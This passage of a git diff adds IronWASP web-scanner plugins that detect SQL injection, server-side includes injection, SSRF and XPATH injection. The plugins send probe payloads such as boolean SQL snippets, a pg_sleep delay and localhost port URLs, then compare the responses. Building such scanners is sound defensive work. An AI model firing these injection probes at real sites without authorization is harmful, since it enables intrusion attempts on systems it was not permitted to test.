SQL": + diff = "B" + same = ["A", "C"] + elif db == "MySQL": + diff = "C" + same = ["A", "B"] + else: + return "" + + #Reason = Reason + "The response for Payload A and B were similar to each other and is different from the response recieved for Payloads C. " + Reason = Reason + "The response for Payload {0} and {1} were similar to each other and is different from the response received for Payloads {2}. ".format(same[0], same[1], diff) + #Reason = Reason + "This indicates that the application was actually trying to perform the string concatenation on the server-side and that the backend database in use is MySQL. " + Reason = Reason + "This indicates that the application was actually trying to perform the string concatenation on the server-side and that the backend database in use is >{0}>. ".format(db) + #Reason = Reason + "Since incase of MySQL Payloads A & B would have simply thrown an invalid SQL syntax exception their responses are similar. " + Reason = Reason + "Since incase of >{0}> database server Payloads {0} & {1} would have simply thrown an invalid SQL syntax exception their responses are similar. ".format(db, same[0], same[1]) + #Reason = Reason + "And Payload C would have executed without this error and so its response was different than the other two.>" + Reason = Reason + "And Payload {0} would have executed without this error and so its response was different than the other two.>".format(diff) + + Reason = Reason + "If the application was not actually performing the concatenation then all three payload should have received very similar responses. " + Reason = Reason + "Therefore this indicates that SQL syntax from the payload is executed as part of the SQL query on the server." + + ReasonType = "Concat" + + #False Positive Check + FalsePositiveCheck = "Manually analyze the responses received for the three payloads and confirm if the type of similarity explained above actually exists in them. Try resending the same payloads again but with different strings and check if this behaviour is repeated." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, [Trigger-2, Trigger-1, Trigger], FalsePositiveCheck) + return FR + + def GetBlindBoolReason(self, payloads, bool_cond, Trigger): + bool_cond = bool_cond.upper() + + Reason = "IronWASP sent four payloads to the application with SQL code snippets in them.>" + + ids = ["A", "B", "C", "D"] + #Payload A - a' or 8=8-- + #Payload B - a' or 7=5-- + #Payload C - a' or 6=6-- + #Payload D - a' or 4=6-- + + for i in range(len(ids)): + payloads[i] = Tools.EncodeForTrace(payloads[i]) + Reason = Reason + "Payload {0} - >{1}>>".format(ids[i], payloads[i]) + + #Reason = Reason + "Payload A and C have a boolean condition after the OR keyword that will evaluate to true. The boolean condition in Payload B and D would evaluate to false.".format(payload) + Reason = Reason + "Payload A and C have a boolean condition after the >{0}> keyword that will evaluate to true. ".format(bool_cond) + Reason = Reason + "The boolean condition in Payload B and D would evaluate to false.>" + + Reason = Reason + "The response for Payload A and C were similar to each other and were different from the response received for Payload B and D. " + Reason = Reason + "This indicates that the application was actually evaluating the boolean condition in the payloads. " + Reason = Reason + "So since Payload A and C both has a true boolean condition their responses are similar, C and D had a false boolean condition.>" + + Reason = Reason + "If the application was not actually evaluating the boolean condition then all four payload should have returned very similar responses. " + Reason = Reason + "Therefore this indicates that SQL syntax from the payload is executed as part of the SQL query on the server." + + ReasonType = "Bool" + + #False Positive Check + FalsePositiveCheck = "Manually analyze the responses received for the four payloads and confirm if the type of similarity explained above actually exists in them. Try resending the same payloads again but with values in the boolean expression and check if this behaviour is repeated." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, [Trigger-3, Trigger-2, Trigger-1, Trigger], FalsePositiveCheck) + return FR + + def GetBlindTimeReason(self, payload, delay_time, res_time, normal_time, Trigger): + payload = Tools.EncodeForTrace(payload) + + #Reason = "IronWASP sent ' and pg_sleep(5)-- as payload to the application. " + Reason = "IronWASP sent >{0}> as payload to the application. ".format(payload) + #Reason = Reason + "This payload has a small snippet of SQL code that will cause the database server to sleep for 5000 milliseconds. " + Reason = Reason + "This payload has a small snippet of SQL code that will cause the database server to sleep for >{0}> milliseconds. ".format(delay_time) + #Reason = Reason + "If this code is executed then the application will return the response 5000 milliseconds later than usual. " + Reason = Reason + "If this code is executed then the application will return the response >{0}> milliseconds later than usual. ".format(delay_time) + #Reason = Reason + "After the payload was injected the response from the application took 6783 milliseconds. " + Reason = Reason + "After the payload was injected the response from the application took >{0}> milliseconds. ".format(res_time) + #Reason = Reason + "Normally this particular request is processed at around 463 milliseconds. " + Reason = Reason + "Normally this particular request is processed at around >{0}> milliseconds. ".format(normal_time) + Reason = Reason + "This indicates that the injected SQL code snippet could have been executed on the server-side." + + ReasonType = "TimeDelay" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can manually inject the same payload but by changing the number of seconds of delay to different values. Then you can observe if the time taken for the response to be returned is affected accordingly." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, Trigger, FalsePositiveCheck) + return FR + + +p = SQLInjection() +p.SetUp() +ActivePlugin.Add(p.GetInstance()) diff --git a/Iron/bin/Debug/plugins/active/ServerSideIncludesInjection.py b/Iron/bin/Debug/plugins/active/ServerSideIncludesInjection.py new file mode 100644 index 0000000..a3a722d --- /dev/null +++ b/Iron/bin/Debug/plugins/active/ServerSideIncludesInjection.py @@ -0,0 +1,71 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +import re + + +class ServerSideIncludesInjection(ActivePlugin): + + + def GetInstance(self): + p = ServerSideIncludesInjection() + p.Name = 'Server Side Includes Injection' + p.Description = 'An Active Plugin to detect Sever Side Include Injection vulnerabilities' + p.Version = '0.1' + return p + + + def Check(self, scnr): + #Check logic based on https://github.com/fnordbg/SSI-Scan + self.scnr = scnr + self.scnr.Trace(">>Checking for Server Side Includes Injection:>>>") + payloads = ["{0}\"'>".format(self.scnr.PreInjectionParameterValue), "\"'>", ""] + for payload in payloads: + self.scnr.RequestTrace("Injected - " + payload) + res = self.scnr.Inject(payload) + if "REMOTE_ADDR" and "DATE_LOCAL" and "DATE_GMT" and "DOCUMENT_URI" and "LAST_MODIFIED" in res.BodyString: + self.scnr.ResponseTrace(" ==> > Got contents of Environment variables in the response body. Indicates SSI Injection.>") + self.reason = self.GetReason(payload, ["REMOTE_ADDR", "DATE_LOCAL", "DATE_GMT", "DOCUMENT_URI", "LAST_MODIFIED"]) + self.ReportSSI(payload, "The payload in this request contains a SSI snippet which if executed will print the contents of the environment variables. The payload is: {0}".format(payload), "\r\n".join(["REMOTE_ADDR", "DATE_LOCAL", "DATE_GMT", "DOCUMENT_URI", "LAST_MODIFIED"]), "This response contains some keywords that are similar to some standard environment variable names.") + return + else: + self.scnr.ResponseTrace(" ==> The response does not contain any Environment variable information.") + self.scnr.Trace(">No indication for presence of SSI Injection") + + + def ReportSSI(self, req_trigger, req_trigger_desc, res_trigger, res_trigger_desc): + self.scnr.SetTraceTitle("Server Side Includes Injection Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Server Side Includes Injection Found" + pr.Summary = "Server Side Includes Injection has been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + pr.AddReason(self.reason) + pr.Triggers.Add(req_trigger, req_trigger_desc, self.scnr.InjectedRequest, res_trigger, res_trigger_desc, self.scnr.InjectionResponse) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + pr.Confidence = FindingConfidence.High + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "Server Side Includes Injection is an issue where it is possible to code on the server-side. For more details on this issue refer >https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection>>>" + return Summary + + def GetReason(self, payload, keywords): + payload = Tools.EncodeForTrace(payload) + Reason = "IronWASP sent >{0}> as payload to the application, this payload would display the environment variables to be printed in the response if the application is vulnerable to Server Side Includes Injection.".format(payload) + Reason = Reason + "The response from the application for this payload had some keywords that are similar to the names of environment variables. These keywords were:" + for keyword in keywords: + Reason = Reason + ">>{0}>".format(keyword) + Reason = Reason + ">These words are similar to that of standard environment variable names, therefore this issue has been reported." + + ReasonType = "Echo" + + #False Positive Check + FalsePositiveCheck = "Manually analyze the response received for the payload and confirm if it actually contains the environment variable details. Change the printenv command to some other SSI command and see if the response contains that command's output." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, 1, FalsePositiveCheck) + return FR + + +p = ServerSideIncludesInjection() +ActivePlugin.Add(p.GetInstance()) diff --git a/Iron/bin/Debug/plugins/active/ServerSideRequestForgery.py b/Iron/bin/Debug/plugins/active/ServerSideRequestForgery.py new file mode 100644 index 0000000..b1c8e63 --- /dev/null +++ b/Iron/bin/Debug/plugins/active/ServerSideRequestForgery.py @@ -0,0 +1,262 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +import re + + +#Extend the ActivePlugin base class +class ServerSideRequestForgery(ActivePlugin): + + #Implement the GetInstance method of ActivePlugin class. This method is used to create new instances of this plugin. + def GetInstance(self): + p = ServerSideRequestForgery() + p.Name = 'Server Side Request Forgery' + p.Description = 'A plugin to discover SSRF vulnerabilities' + p.Version = '0.1' + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.base_res = self.scnr.BaseResponse + self.confidence = 0 + self.RequestTriggers = [] + self.ResponseTriggers = [] + self.RequestTriggerDescs = [] + self.ResponseTriggerDescs = [] + self.TriggerRequests = [] + self.TriggerResponses = [] + self.TriggerCount = 0 + self.reasons = [] + self.CheckForSSRF() + self.AnalyzeTestResult() + + def CheckForSSRF(self): + self.scnr.Trace(">>Checking for Server Side Request Forgery:>") + self.scnr.Trace(">Normal Response Code - {0}. Length -{0}".format(self.base_res.Code, self.base_res.BodyLength)) + p = "" + first_time_pattern = "" + second_time_pattern = "" + strict_group_matched = False + relaxed_group_matched = False + + if self.scnr.PreInjectionParameterValue.startswith("http://"): + p = "http://" + elif self.scnr.PreInjectionParameterValue.startswith("https://"): + p = "https://" + else: + p = "" + + for i in range(2): + payload_a = "{0}localhost:65555".format(p) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload_a)) + res_a = self.scnr.Inject(payload_a) + req_a = self.scnr.InjectedRequest + self.scnr.ResponseTrace(" ==> Got Response. Code- {0}. Length- {1}".format(res_a.Code, res_a.BodyLength)) + + payload_a1 = "{0}localhost:1".format(p) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload_a1)) + res_a1 = self.scnr.Inject(payload_a1) + req_a1 = self.scnr.InjectedRequest + self.scnr.ResponseTrace(" ==> Got Response. Code- {0}. Length- {1}".format(res_a1.Code, res_a1.BodyLength)) + + payload_b = "{0}localhost:66666".format(p) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload_b)) + res_b = self.scnr.Inject(payload_b) + req_b = self.scnr.InjectedRequest + self.scnr.ResponseTrace(" ==> Got Response. Code- {0}. Length- {1}".format(res_b.Code, res_b.BodyLength)) + + payload_b1 = "{0}localhost:2".format(p) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload_b1)) + res_b1 = self.scnr.Inject(payload_b1) + req_b1 = self.scnr.InjectedRequest + self.scnr.ResponseTrace(" ==> Got Response. Code- {0}. Length- {1}".format(res_b1.Code, res_b1.BodyLength)) + + self.scnr.Trace(">Analysing the responses for patterns...") + + #Analyzing the responses for patterns + sc = SimilarityChecker() + sc.Add("a", res_a, payload_a) + sc.Add("a1", res_a1, payload_a1) + sc.Add("b", res_b, payload_b) + sc.Add("b1", res_b1, payload_b1) + sc.Check() + + requests = [req_a, req_a1, req_b, req_b1] + responses = [res_a, res_a1, res_b, res_b1] + request_trigger_descs = [] + request_trigger_descs.append("This payload points to the invalid port 65555 on localhost. The payload is {0}".format(payload_a)) + request_trigger_descs.append("This payload points to the valid port 1 on localhost. The payload is {0}".format(payload_a1)) + request_trigger_descs.append("This payload points to the invalid port 66666 on localhost. The payload is {0}".format(payload_b)) + request_trigger_descs.append("This payload points to the valid port 2 on localhost. The payload is {0}".format(payload_b1)) + response_trigger_descs = [] + response_trigger_descs.append("The contents of this response are different from the response of the next trigger but are similar to the response of the trigger after the next.") + response_trigger_descs.append("The contents of this response are different from the response of the previous trigger but are similar to the response of the trigger after the next.") + response_trigger_descs.append("The contents of this response are different from the response of the next trigger but are similar to the response of the trigger before the previous.") + response_trigger_descs.append("The contents of this response are different from the response of the previous trigger but are similar to the response of the trigger before the previous.") + request_triggers = [payload_a, payload_a1, payload_b, payload_b1] + response_triggers = ["","","",""] + + if i == 0: + for group in sc.StrictGroups: + if group.Count == 2: + if group.HasKey("a") and group.HasKey("b"): + self.scnr.Trace(">>Responses for invalid port based payloads are similar to each other and are different from responses for valid port based payloads. Indicates presence of SSRF.>") + + reason = self.GetDiffReason([payload_a, payload_a1, payload_b, payload_b1], False, [], self.TriggerCount, len(request_triggers)) + self.reasons.append(reason) + + self.RequestTriggers.extend(request_triggers) + self.ResponseTriggers.extend(response_triggers) + self.RequestTriggerDescs.extend(request_trigger_descs) + self.ResponseTriggerDescs.extend(response_trigger_descs) + self.TriggerRequests.extend(requests) + self.TriggerResponses.extend(responses) + self.TriggerCount = self.TriggerCount + len(request_triggers) + self.SetConfidence(2) + strict_group_matched = True + + if not strict_group_matched: + for group in sc.RelaxedGroups: + if group.Count == 2: + if group.HasKey("a") and group.HasKey("b"): + self.scnr.Trace(">>Responses for invalid port based payloads are similar to each other and are different responses for valid port based payload. Indicates presence of SSRF.>") + + reason = self.GetDiffReason([payload_a, payload_a1, payload_b, payload_b1], False, [], self.TriggerCount, len(request_triggers)) + self.reasons.append(reason) + + self.RequestTriggers.extend(request_triggers) + self.ResponseTriggers.extend(response_triggers) + self.RequestTriggerDescs.extend(request_trigger_descs) + self.ResponseTriggerDescs.extend(response_trigger_descs) + self.TriggerRequests.extend(requests) + self.TriggerResponses.extend(responses) + self.TriggerCount = self.TriggerCount + len(request_triggers) + self.SetConfidence(2) + relaxed_group_matched = True + + res_times = [res_a.RoundTrip, res_a1.RoundTrip, res_b.RoundTrip, res_b1.RoundTrip] + res_times.sort() + if (res_times[2] - res_times[0] > 200) and (res_times[3] - res_times[0] > 200) and (res_times[2] - res_times[1] > 200) and (res_times[3] - res_times[1] > 200) and ((res_times[1] - res_times[0]) < 200) and ((res_times[3] - res_times[2]) < 200): + + if (res_a.RoundTrip == res_times[0] and res_b.RoundTrip == res_times[1]) or (res_a.RoundTrip == res_times[1] and res_b.RoundTrip == res_times[0]): + if i == 0: + first_time_pattern = "Valid>Invalid" + else: + second_time_pattern = "Valid>Invalid" + elif (res_a1.RoundTrip == res_times[0] and res_b1.RoundTrip == res_times[1]) or (res_a1.RoundTrip == res_times[1] and res_b1.RoundTrip == res_times[0]): + if i == 0: + first_time_pattern = "Invalid>Valid" + else: + second_time_pattern = "Invalid>Valid" + + if len(first_time_pattern) > 0: + if i == 0: + self.scnr.Trace(">There is a pattern in the roundtrip time of the four responses. Rechecking to confirm.>") + continue + elif i == 1: + if first_time_pattern == second_time_pattern: + self.scnr.Trace(">>Response times for invalid port based payloads are similar to each other and are different from response times for valid port based payload. Indicates presence of SSRF.>") + response_trigger_descs = [] + response_trigger_descs.append("This response time is different from the response time of the next trigger but is similar to the response time of the trigger after the next.") + response_trigger_descs.append("This response time is different from the response time of the previous trigger but is similar to the response time of the trigger after the next.") + response_trigger_descs.append("This response time is different from the response time of the next trigger but is similar to the response time of the trigger before the previous.") + response_trigger_descs.append("This response time is different from the response time of the previous trigger but is similar to the response time of the trigger before the previous.") + + reason = self.GetDiffReason([payload_a, payload_a1, payload_b, payload_b1], True, [res_a.RoundTrip, res_a1.RoundTrip, res_b.RoundTrip, res_b1.RoundTrip], self.TriggerCount, len(request_triggers)) + self.reasons.append(reason) + + self.RequestTriggers.extend(request_triggers) + self.ResponseTriggers.extend(response_triggers) + self.RequestTriggerDescs.extend(request_trigger_descs) + self.ResponseTriggerDescs.extend(response_trigger_descs) + self.TriggerRequests.extend(requests) + self.TriggerResponses.extend(responses) + self.TriggerCount = self.TriggerCount + len(request_triggers) + self.SetConfidence(2) + return + else: + self.scnr.Trace(">The pattern in the response times is inconsistent and therefore does not indicate SSRF") + return + elif not (relaxed_group_matched or strict_group_matched): + self.scnr.Trace(">The responses did not fall in any patterns that indicate SSRF") + break + + def SetConfidence(self, conf): + if conf > self.confidence: + self.confidence = conf + + def AnalyzeTestResult(self): + if len(self.RequestTriggers) > 0: + self.ReportSSRF() + + def ReportSSRF(self): + self.scnr.SetTraceTitle("Server Side Request Forgery Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Server Side Request Forgery Found" + pr.Summary = "Server Side Request Forgery been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + for reason in self.reasons: + pr.AddReason(reason) + + for i in range(len(self.RequestTriggers)): + pr.Triggers.Add(self.RequestTriggers[i], self.RequestTriggerDescs[i], self.TriggerRequests[i], self.ResponseTriggers[i], self.ResponseTriggerDescs[i], self.TriggerResponses[i]) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + if self.confidence == 3: + pr.Confidence = FindingConfidence.High + elif self.confidence == 2: + pr.Confidence = FindingConfidence.Medium + else: + pr.Confidence = FindingConfidence.Low + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "Server Side Request Forgery is an issue where it is possible to forge an HTTP request on the server-side by sending the url in a request. For more details on this issue refer >http://cwe.mitre.org/data/definitions/918.html>>>" + return Summary + + + def GetDiffReason(self, payloads, time, time_delays, trigger_start, trigger_count): + Reason = "IronWASP sent four payloads to the application.>" + ids = ["A", "B", "C", "D"] + + for i in range(len(ids)): + payloads[i] = Tools.EncodeForTrace(payloads[i]) + Reason = Reason +"Payload {0} - >{1}>>".format(ids[i], payloads[i]) + + Reason = Reason + ">Payloads A and C are similar in nature. They both refer to ports 65555 and 66666 on the server which are invalid ports." + Reason = Reason + ">Payloads B and D are similar to each other but different from A & C. They both refer to ports 1 and 2 on the server which are valid ports." + Reason = Reason + ">If the application is vulnerable to SSRF then it will try to connect to these ports and connections to invalid potrs with throw an exception of different type than the exception or error caused by connecting to the valid ports 1 and 2 which are most likely to be closed." + + Reason = Reason + ">This would mean that the response for Payloads A & C must be similar to each other and different from responses for Payloads B&D. " + if time: + Reason = Reason + ">>The responses for the injected payloads were analyzed and it was found that the response times for Payloads A & C were similar to each other and were also different from response times for Payloads B & D, thereby indicating the presence of this vulnerability." + Reason = Reason + ">The responses times for the four payloads were:" + Reason = Reason + ">Payload A - {0}ms".format(time_delays[0]) + Reason = Reason + ">Payload B - {0}ms".format(time_delays[1]) + Reason = Reason + ">Payload C - {0}ms".format(time_delays[2]) + Reason = Reason + ">Payload D - {0}ms".format(time_delays[3]) + else: + Reason = Reason + ">>The responses for the injected payloads were analyzed and it was found that Payloads A & C got a similar looking response and were also different from responses got from Payloads B & D, thereby indicating the presence of this vulnerability." + + #Trigger + trigger_ids = [] + for i in range(trigger_start + 1, trigger_start + trigger_count + 1): + trigger_ids.append(i) + + if time: + ReasonType = "Delay" + else: + ReasonType = "Diff" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can first manually look at the responses received for Payloads A, B, C and D. Analyze these payloads and verify if indeed A & C got similar responses and were different from B & D. " + FalsePositiveCheck = FalsePositiveCheck + "You can also change the payloads for A & C by chaning the port number to some other invalid port and change payloads B & D to some other valid port numbers and check of the four response show the same pattern as before." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, trigger_ids, FalsePositiveCheck) + return FR + +p = ServerSideRequestForgery() +ActivePlugin.Add(p.GetInstance()) + + diff --git a/Iron/bin/Debug/plugins/active/XPATHInjection.py b/Iron/bin/Debug/plugins/active/XPATHInjection.py new file mode 100644 index 0000000..ec0e718 --- /dev/null +++ b/Iron/bin/Debug/plugins/active/XPATHInjection.py @@ -0,0 +1,91 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr +#Inherit from the base ActivePlugin class +class XPATHInjection(ActivePlugin): + error_strings = [] + + def GetInstance(self): + p = XPATHInjection() + p.Name = "XPATH Injection" + p.Description = "Active plugin that checks for XPATH Injection" + p.Version = "0.4" + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.reason = "" + self.CheckForXPATHInjection() + + def CheckForXPATHInjection(self): + self.scnr.Trace(">>Checking for XPATH Injection:>") + payload = "